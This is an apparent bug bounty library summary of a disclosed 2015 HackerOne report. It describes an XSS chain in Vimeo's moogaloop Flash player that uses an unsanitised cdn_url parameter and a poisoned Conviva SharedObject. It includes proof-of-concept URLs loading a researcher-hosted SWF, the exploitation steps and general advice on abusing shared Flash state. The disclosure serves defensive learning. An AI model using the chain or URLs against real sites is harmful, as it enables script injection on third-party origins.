# XSS on any site that includes the moogaloop flash player | deprecated embed code

Unsanitized cdn_url in moogaloop.swf loads attacker SWF into f.vimeocdn.com SecurityDomain, letting them poison a Conviva SharedObject to execute JS on any site embedding the player.

- Payout: hidden
- Severity: high
- Program: Vimeo
- Found by: batram
- Disclosed: 2015-02-22
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/44512
- Library page: https://bugbountylibrary.com/r/h1%3A44512
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:high technique:chained technique:source-review vuln:xss

**Target:** moogaloop.swf Flash player embed (videoControllerProgressive.swf / Conviva SharedObject)
**Root cause:** moogaloop.swf loads videoControllerProgressive.swf from an attacker-controlled cdn_url without sandboxing, so the SWF runs in f.vimeocdn.com's SecurityDomain. videoControllerProgressive.swf then trusts a SharedObject key (lastSwfUrls) to decide which SWF URL to load, allowing arbitrary SWF injection.
**Steps:**
1. Open `http://f.vimeocdn.com/p/flash/moogaloop/6.0.30/moogaloop.swf?cdn_url=https://batr.am/exmp/v/10ece191bd6f4806ed0e7a165931a890a47ea250//set_shared_con.swf%3f` to load attacker SWF into f.vimeocdn.com SecurityDomain and set the com.conviva.livePass SharedObject lastSwfUrls entry to the attacker SWF URL.
2. Attacker SWF also loads `http://batr.am/t2.swf` once so it lands in browser cache; t2.swf runs `confirm('moin: ' + document.domain)`.
3. Open any page embedding moogaloop via deprecated embed code (e.g. `http://f.vimeocdn.com/p/flash/moogaloop/6.0.31/moogaloop.swf?clip_id=38626783&autoplay=true`); videoControllerProgressive.swf reads the poisoned SharedObject and loads the cached attacker SWF, executing JS in the embedding site's origin.
4. Keep browser cache enabled; the exploit relies on the injected SWF being cached.
**How found:** Researcher read videoControllerProgressive.swf and noticed it consults the SharedObject com.conviva.livePass key lastSwfUrls to pick a cached SWF URL. Realizing SharedObjects are scoped to the SWF's domain, they looked for a way to write that SharedObject from f.vimeocdn.com and found the cdn_url parameter in moogaloop.swf loads an arbitrary SWF unsandboxed.
**Exploitation:** Attacker hosts a malicious SWF and a JS-executing SWF. Victim visits the crafted moogaloop URL with cdn_url pointing at the attacker SWF, which runs in f.vimeocdn.com's SecurityDomain and writes the Conviva SharedObject lastSwfUrls to point at the attacker SWF (also priming the browser cache). Any subsequent page embedding moogaloop via the deprecated embed code loads the poisoned SWF and executes attacker JavaScript in that site's origin.
**Escalation:** Because the SharedObject is keyed on f.vimeocdn.com, the poisoned value persists across all sites embedding the player, turning a single injection into XSS on every affected third-party site (Google Developers blog, Etsy blog, Magento, GitHub blog).
**Insight:** Flash SharedObjects are scoped per-domain, not per-embedding-site; any SWF loaded into a CDN's SecurityDomain can poison state that other SWFs on that domain later trust. Look for parameters like cdn_url that swap a trusted SWF for an attacker one, then abuse cross-SWF shared state (SharedObject, LocalConnection) to persist payloads across all embedders.

## Proof of concept (copied exactly from the original report)

**Malicious cdn_url loads attacker SWF to set SharedObject**

```
http://f.vimeocdn.com/p/flash/moogaloop/6.0.30/moogaloop.swf?cdn_url=https://batr.am/exmp/v/10ece191bd6f4806ed0e7a165931a890a47ea250//set_shared_con.swf%3f
```

**Second step loads player which executes cached malicious SWF**

```
http://f.vimeocdn.com/p/flash/moogaloop/6.0.31/moogaloop.swf?clip_id=38626783&autoplay=true
```

**Payload SWF executes JavaScript confirm with document.domain**

```
confirm('moin: ' + document.domain)
```

